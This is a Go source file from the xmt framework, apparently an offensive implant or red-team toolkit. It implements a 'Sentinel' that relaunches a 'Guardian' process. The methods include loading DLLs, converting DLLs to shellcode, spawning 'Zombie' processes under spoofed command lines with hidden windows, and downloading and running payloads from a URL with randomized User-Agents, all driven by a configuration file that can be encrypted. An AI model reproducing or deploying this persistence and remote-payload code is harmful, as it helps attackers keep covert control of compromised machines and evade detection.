github.com/iDigitalFlame/xmt@v0.5.4/man/sentinel.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package man 18 19 import ( 20 "context" 21 "crypto/cipher" 22 "crypto/rand" 23 "io" 24 "os" 25 "time" 26 27 "github.com/iDigitalFlame/xmt/cmd" 28 "github.com/iDigitalFlame/xmt/cmd/filter" 29 "github.com/iDigitalFlame/xmt/data" 30 "github.com/iDigitalFlame/xmt/data/crypto" 31 "github.com/iDigitalFlame/xmt/device" 32 "github.com/iDigitalFlame/xmt/util" 33 "github.com/iDigitalFlame/xmt/util/bugtrack" 34 "github.com/iDigitalFlame/xmt/util/xerr" 35 ) 36 37 const ( 38 // Self is a constant that can be used to reference the current executable 39 // path without using the 'os.Executable' function. 40 Self = "*" 41 42 sentPathExecute uint8 = 0 43 sentPathDLL uint8 = 1 44 sentPathASM uint8 = 2 45 sentPathDownload uint8 = 3 46 sentPathZombie uint8 = 4 47 48 timeout = time.Second * 5 49 timeoutWeb = time.Second * 15 50 ) 51 52 // ErrNoEndpoints is an error returned if no valid Guardian paths could be used 53 // and/or found during a launch. 54 var ErrNoEndpoints = xerr.Sub("no paths found", 0x11) 55 56 // Sentinel is a struct that can be used as a 'Named' arguments value to 57 // functions in the 'man' package or can be Marshaled from a file or bytes 58 // source. 59 type Sentinel struct { 60 paths []sentinelPath 61 filter.Filter 62 } 63 type sentinelPath struct { 64 path string 65 extra []string 66 t uint8 67 } 68 69 // Check will attempt to contact any current Guardians watching on the supplied 70 // name. This function returns false if the specified name could not be reached 71 // or an error occurred. 72 // 73 // This function defaults to the 'Pipe' Linker if a nil Linker is specified. 74 func Check(l Linker, n string) bool { 75 if l == nil { 76 l = Pipe 77 } 78 v, err := l.check(n) 79 if bugtrack.Enabled { 80 bugtrack.Track("man.Check(): l.(type)=%T n=%s, err=%s, v=%t", l, n, err, v) 81 } 82 return v 83 } 84 func (p *sentinelPath) valid() bool { 85 if bugtrack.Enabled { 86 bugtrack.Track("man.(*sentinelPath).valid(): p.t=%d, p.path=%s, p.extra=%s", p.t, p.path, p.extra) 87 } 88 if p.t > sentPathZombie || len(p.path) == 0 { 89 return false 90 } 91 if p.t > sentPathDownload && len(p.extra) == 0 { 92 return false 93 } 94 if p.t != sentPathDownload && p.t != sentPathExecute { 95 p.path = device.Expand(p.path) 96 if _, err := os.Stat(p.path); err != nil { 97 return false 98 } 99 } 100 if !cmd.LoaderEnabled && p.t == sentPathZombie { 101 return false 102 } 103 return true 104 } 105 106 // AddDLL adds a DLL execution type to this Sentinel. This will NOT validate the 107 // path beforehand. 108 func (s *Sentinel) AddDLL(p string) { 109 s.paths = append(s.paths, sentinelPath{t: sentPathDLL, path: p}) 110 } 111 112 // AddASM adds an ASM execution type to this Sentinel. This will NOT validate the 113 // path beforehand. 114 // 115 // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion 116 // function (if enabled). 117 func (s *Sentinel) AddASM(p string) { 118 s.paths = append(s.paths, sentinelPath{t: sentPathASM, path: p}) 119 } 120 121 // AddExecute adds a command execution type to this Sentinel. This will NOT validate 122 // the command beforehand. 123 func (s *Sentinel) AddExecute(p string) { 124 s.paths = append(s.paths, sentinelPath{t: sentPathExecute, path: p}) 125 } 126 func (s *Sentinel) read(r io.Reader) error { 127 return s.UnmarshalStream(data.NewReader(r)) 128 } 129 func (s *Sentinel) write(w io.Writer) error { 130 return s.MarshalStream(data.NewWriter(w)) 131 } 132 func (p sentinelPath) run(f *filter.Filter) error { 133 if bugtrack.Enabled { 134 bugtrack.Track("man.(sentinelPath).run(): Running p.t=%d, p.path=%s", p.t, p.path) 135 } 136 switch p.t { 137 case sentPathDLL: 138 if bugtrack.Enabled { 139 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a DLL", p.t, p.path) 140 } 141 x := cmd.NewDLL(p.path) 142 x.SetParent(f) 143 err := x.Start() 144 x.Release() 145 return err 146 case sentPathASM: 147 if bugtrack.Enabled { 148 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is ASM", p.t, p.path) 149 } 150 b, err := data.ReadFile(p.path) 151 if err != nil { 152 return err 153 } 154 x := cmd.NewAsm(cmd.DLLToASM("", b)) 155 x.SetParent(f) 156 err = x.Start() 157 x.Release() 158 return err 159 case sentPathZombie: 160 if bugtrack.Enabled { 161 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Zombie", p.t, p.path) 162 } 163 b, err := data.ReadFile(p.path) 164 if err != nil { 165 return err 166 } 167 var a string 168 switch { 169 case len(p.extra) > 1: 170 a = p.extra[util.FastRandN(len(p.extra))] 171 case len(p.extra) == 0: 172 return cmd.ErrEmptyCommand 173 case len(p.extra) == 1: 174 a = p.extra[0] 175 } 176 x := cmd.NewZombie(cmd.DLLToASM("", b), cmd.Split(a)...) 177 x.SetParent(f) 178 x.SetNoWindow(true) 179 x.SetWindowDisplay(0) 180 err = x.Start() 181 x.Release() 182 return err 183 case sentPathExecute: 184 var x *cmd.Process 185 if p.path == Self { 186 if bugtrack.Enabled { 187 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is Self", p.t, p.path) 188 } 189 e, err := os.Executable() 190 if err != nil { 191 return err 192 } 193 x = cmd.NewProcess(e) 194 } else { 195 if bugtrack.Enabled { 196 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Command", p.t, p.path) 197 } 198 x = cmd.NewProcess(cmd.Split(p.path)...) 199 } 200 x.SetParent(f) 201 x.SetNoWindow(true) 202 x.SetWindowDisplay(0) 203 err := x.Start() 204 x.Release() 205 return err 206 case sentPathDownload: 207 if bugtrack.Enabled { 208 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Download", p.t, p.path) 209 } 210 var a string 211 switch { 212 case len(p.extra) > 1: 213 a = p.extra[util.FastRandN(len(p.extra))] 214 case len(p.extra) == 1: 215 a = p.extra[0] 216 } 217 x, v, err := WebExec(context.Background(), nil, p.path, a) 218 if err != nil { 219 return err 220 } 221 x.SetParent(f) 222 if err = x.Start(); err != nil && len(v) > 0 { 223 os.Remove(v) 224 } 225 x.Release() 226 return err 227 } 228 if bugtrack.Enabled { 229 bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is unknown!", p.t, p.path) 230 } 231 return cmd.ErrNotStarted 232 } 233 234 // AddZombie adds a command execution type to this Sentinel. This will NOT validate 235 // the command and filepath beforehand. 236 // 237 // The supplied vardic of strings are the spoofed commands to be ran under. The 238 // first argument of each fake command MUST be a real binary, but the arguments 239 // can be whatever. AT LEAST ONE MUST BE SUPPLIED FOR THIS TO BE CONSIDERED VALID. 240 // 241 // Multiple spoofed commands may be used to generate a randomly picked command 242 // on each runtime. 243 // 244 // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion 245 // function (if enabled). 246 func (s *Sentinel) AddZombie(p string, a ...string) { 247 s.paths = append(s.paths, sentinelPath{t: sentPathZombie, path: p, extra: a}) 248 } 249 250 // MarshalStream will convert the data in this Sentinel into binary that will 251 // be written into the supplied Writer. 252 func (s Sentinel) MarshalStream(w data.Writer) error { 253 if err := s.Filter.MarshalStream(w); err != nil { 254 return err 255 } 256 if err := w.WriteUint16(uint16(len(s.paths))); err != nil { 257 return err 258 } 259 for i := 0; i < len(s.paths) && i < 0xFFFF; i++ { 260 if err := s.paths[i].MarshalStream(w); err != nil { 261 return err 262 } 263 } 264 return nil 265 } 266 267 // AddDownload adds a download execution type to this Sentinel. This will NOT validate 268 // the URL beforehand. 269 // 270 // The URL will be downloaded on triggering and will be ran based of off the 271 // 'Content-Type' HTTP header. 272 // 273 // The supplied vardic of strings is optional but can be used as a list of HTTP 274 // User-Agents to be used. The strings support the 'text.Matcher' interface. 275 // 276 // Multiple User-Agents may be used to generate a randomly picked User-Agent on 277 // each runtime. 278 func (s *Sentinel) AddDownload(p string, a ...string) { 279 s.paths = append(s.paths, sentinelPath{t: sentPathDownload, path: p, extra: a}) 280 } 281 282 // File will attempt to Marshal the Sentinel struct from the supplied file path. 283 // This function will take any environment variables into account before loading. 284 // 285 // Any errors that occur during reading will be returned. 286 func File(c cipher.Block, p string) (*Sentinel, error) { 287 var s Sentinel 288 if err := s.Load(c, device.Expand(p)); err != nil { 289 return nil, err 290 } 291 return &s, nil 292 } 293 294 // UnmarshalStream will attempt to read the data for this Sentinel from the 295 // supplied Reader. 296 func (s *Sentinel) UnmarshalStream(r data.Reader) error { 297 if err := s.Filter.UnmarshalStream(r); err != nil { 298 return err 299 } 300 n, err := r.Uint16() 301 if err != nil { 302 return err 303 } 304 s.paths = make([]sentinelPath, n) 305 for i := uint16(0); i < n; i++ { 306 if err = s.paths[i].UnmarshalStream(r); err != nil { 307 return err 308 } 309 } 310 return nil 311 } 312 313 // Save will attempt to write the Sentinel data to the supplied on-device file 314 // path. This function will take any environment variables into account before 315 // writing. 316 // 317 // If the supplied cipher is not nil, it will be used to encrypt the data during 318 // writing, otherwise the data will be un-encrypted. 319 // 320 // Any errors that occur during writing will be returned. 321 func (s *Sentinel) Save(c cipher.Block, p string) error { 322 // 0x242 - CREATE | TRUNCATE | RDWR 323 f, err := os.OpenFile(device.Expand(p), 0x242, 0644) 324 if err != nil { 325 return err 326 } 327 err = s.Write(c, f) 328 f.Close() 329 return err 330 } 331 332 // Load will attempt to read the Sentinel struct from the supplied file path. 333 // This function will take any environment variables into account before reading. 334 // 335 // If the supplied cipher is not nil, it will be used to decrypt the data during 336 // reader, otherwise the data will read un-encrypted. 337 // 338 // Any errors that occur during reading will be returned. 339 func (s *Sentinel) Load(c cipher.Block, p string) error { 340 // 0x242 - READONLY 341 f, err := os.OpenFile(device.Expand(p), 0, 0) 342 if err != nil { 343 return err 344 } 345 err = s.Read(c, f) 346 f.Close() 347 return err 348 } 349 func (p sentinelPath) MarshalStream(w data.Writer) error { 350 if err := w.WriteUint8(p.t); err != nil { 351 return err 352 } 353 if err := w.WriteString(p.path); err != nil { 354 return err 355 } 356 if p.t < sentPathDownload { 357 return nil 358 } 359 return data.WriteStringList(w, p.extra) 360 } 361 362 // Find will initiate the Sentinel's Guardian launching routine and will seek 363 // through all it's stored paths to launch a Guardian. 364 // 365 // The Linker and name passed to this function are used to determine if the newly 366 // launched Guardian comes up and responds correctly (within the appropriate time 367 // constraints). 368 // 369 // This function will return true and nil if a Guardian was launched, otherwise 370 // the boolean will be false and the error will explain the cause. 371 // 372 // Errors caused by Sentinel paths will NOT stop the search and the most likely 373 // error returned will be 'ErrNoEndpoints' which results when no Guardians could 374 // be loaded. 375 func (s *Sentinel) Find(l Linker, n string) (bool, error) { 376 if bugtrack.Enabled { 377 bugtrack.Track("man.(*Sentinel).Find(): Starting with len(s.paths)=%d", len(s.paths)) 378 } 379 if len(s.paths) == 0 { 380 return false, ErrNoEndpoints 381 } 382 var ( 383 f = &s.Filter 384 err error 385 ) 386 if f.Empty() { 387 f = filter.Any 388 } 389 for i := range s.paths { 390 if !s.paths[i].valid() { 391 continue 392 } 393 if bugtrack.Enabled { 394 bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d", n, i, s.paths[i].t) 395 } 396 if err = s.paths[i].run(f); err != nil { 397 if bugtrack.Enabled { 398 bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d, err=%s", n, i, s.paths[i].t, err.Error()) 399 } 400 continue 401 } 402 if bugtrack.Enabled { 403 bugtrack.Track("man.(*Sentinel).Find(): Wake passed, no errors. Checking l.(type)=%T, n=%s now.", l, n) 404 } 405 if time.Sleep(timeout); !Check(l, n) { 406 if bugtrack.Enabled { 407 bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s failed.", l, n) 408 } 409 continue 410 } 411 if bugtrack.Enabled { 412 bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s passed!", l, n) 413 } 414 return true, nil 415 } 416 if err == nil { 417 err = ErrNoEndpoints 418 } 419 return false, err 420 } 421 422 // Wake will attempt to locate a Gurdian with the supplied Linker and name. If 423 // no Guardian is found, the 'Find' function will be triggered and will start 424 // the launching routine. 425 // 426 // This function will return true and nil if a Guardian was launched, otherwise 427 // the boolean will be false and the error will explain the cause. If the error 428 // is nil, this means that a Guardian was detected. 429 // 430 // Errors caused by Sentinel paths will NOT stop the search and the most likely 431 // error returned will be 'ErrNoEndpoints' which results when no Guardians could 432 // be loaded. 433 func (s *Sentinel) Wake(l Linker, n string) (bool, error) { 434 if Check(l, n) { 435 return false, nil 436 } 437 return s.Find(l, n) 438 } 439 440 // Read will attempt to read the Sentinel data from the supplied Reader. If the 441 // supplied cipher is not nil, it will be used to decrypt the data during reader, 442 // otherwise the data will read un-encrypted. 443 func (s *Sentinel) Read(c cipher.Block, r io.Reader) error { 444 if c == nil || c.BlockSize() == 0 { 445 return s.read(r) 446 } 447 var ( 448 k = make([]byte, c.BlockSize()) 449 n, err = r.Read(k) 450 ) 451 if err != nil { 452 return err 453 } 454 if n != c.BlockSize() { 455 return io.ErrUnexpectedEOF 456 } 457 i, err := crypto.NewBlockReader(c, k, r) 458 if err != nil { 459 return err 460 } 461 err = s.read(i) 462 i.Close() 463 return err 464 } 465 func (p *sentinelPath) UnmarshalStream(r data.Reader) error { 466 if err := r.ReadUint8(&p.t); err != nil { 467 return err 468 } 469 if bugtrack.Enabled { 470 bugtrack.Track("man.(*sentinelPath).UnmarshalStream(): Read one p.t=%d", p.t) 471 } 472 if err := r.ReadString(&p.path); err != nil { 473 return err 474 } 475 if p.t < sentPathDownload { 476 return nil 477 } 478 return data.ReadStringList(r, &p.extra) 479 } 480 481 // Write will attempt to write the Sentinel data to the supplied Writer. If the 482 // supplied cipher is not nil, it will be used to encrypt the data during writing, 483 // otherwise the data will be un-encrypted. 484 func (s *Sentinel) Write(c cipher.Block, w io.Writer) error { 485 if c == nil || c.BlockSize() == 0 { 486 return s.write(w) 487 } 488 var ( 489 k = make([]byte, c.BlockSize()) 490 _, err = rand.Read(k) 491 ) 492 if err != nil { 493 return err 494 } 495 n, err := w.Write(k) 496 if err != nil { 497 return err 498 } 499 if n != c.BlockSize() { 500 return io.ErrShortWrite 501 } 502 o, err := crypto.NewBlockWriter(c, k, w) 503 if err != nil { 504 return err 505 } 506 err = s.write(o) 507 o.Close() 508 return err 509 } 510 511 // WakeMultiFile is similar to 'WakeFile' except this function will attempt to load 512 // multiple Sentinels from the supplied vardic of string paths. 513 // 514 // This function will first check for the existence of a Guardian with the supplied 515 // Linker and name before attempting to load any Sentinels. 516 // 517 // Sentinels will be loaded in a random order then the 'Find' function of each 518 // one will be ran. 519 // 520 // If the supplied cipher is not nil, it will be used to decrypt the data during 521 // reader, otherwise the data will read un-encrypted. 522 // 523 // This function will return true and nil if a Guardian was launched, otherwise 524 // the boolean will be false and the error will explain the cause. If the error 525 // is nil, this means that a Guardian was detected. 526 func WakeMultiFile(l Linker, name string, c cipher.Block, paths []string) (bool, error) { 527 if len(paths) == 0 { 528 return false, ErrNoEndpoints 529 } 530 if len(paths) == 1 { 531 _, r, err := WakeFile(l, name, c, paths[0]) 532 return r, err 533 } 534 if Check(l, name) { 535 return false, nil 536 } 537 // NOTE(dij): Instead of running concurrently, do these randomly, but only 538 // pick len() many times. Obviously, we might not cover 100% but 539 // *shrug*. 540 // 541 // We can cover duplicates though with 'e'. 542 var ( 543 e = make([]*Sentinel, len(paths)) 544 r bool 545 err error 546 ) 547 for i, v := 0, 0; i < len(paths); i++ { 548 if v = int(util.FastRandN(len(paths))); e[v] == nil { 549 if e[v], err = File(c, paths[v]); err != nil { 550 continue 551 } 552 } 553 /*} else { 554 // NOTE(dij): Should we run again already loaded entries? 555 // Defaults to yes. 556 }*/ 557 if r, err = e[v].Find(l, name); err != nil { 558 if bugtrack.Enabled { 559 bugtrack.Track("man.WakeMultiFile(): Find v=%d, returned error err=%s", v, err) 560 } 561 continue 562 } 563 if r { 564 return true, nil 565 } 566 } 567 return false, nil 568 } 569 570 // WakeFile will attempt to load a Sentinel from the supplied string path if a 571 // Guardian cannot be detected with the supplied Linker and name. 572 // 573 // If no Guardian was found the Sentinel will be loaded and the 'Find' function 574 // one will be ran. 575 // 576 // If the supplied cipher is not nil, it will be used to decrypt the data during 577 // reader, otherwise the data will read un-encrypted. 578 // 579 // This function will return true and nil if a Guardian was launched, otherwise 580 // the boolean will be false and the error will explain the cause. If the error 581 // is nil, this means that a Guardian was detected. 582 func WakeFile(l Linker, name string, c cipher.Block, path string) (*Sentinel, bool, error) { 583 if Check(l, name) { 584 return nil, false, nil 585 } 586 s, err := File(c, path) 587 if err != nil { 588 return nil, false, err 589 } 590 r, err := s.Wake(l, name) 591 return s, r, err 592 }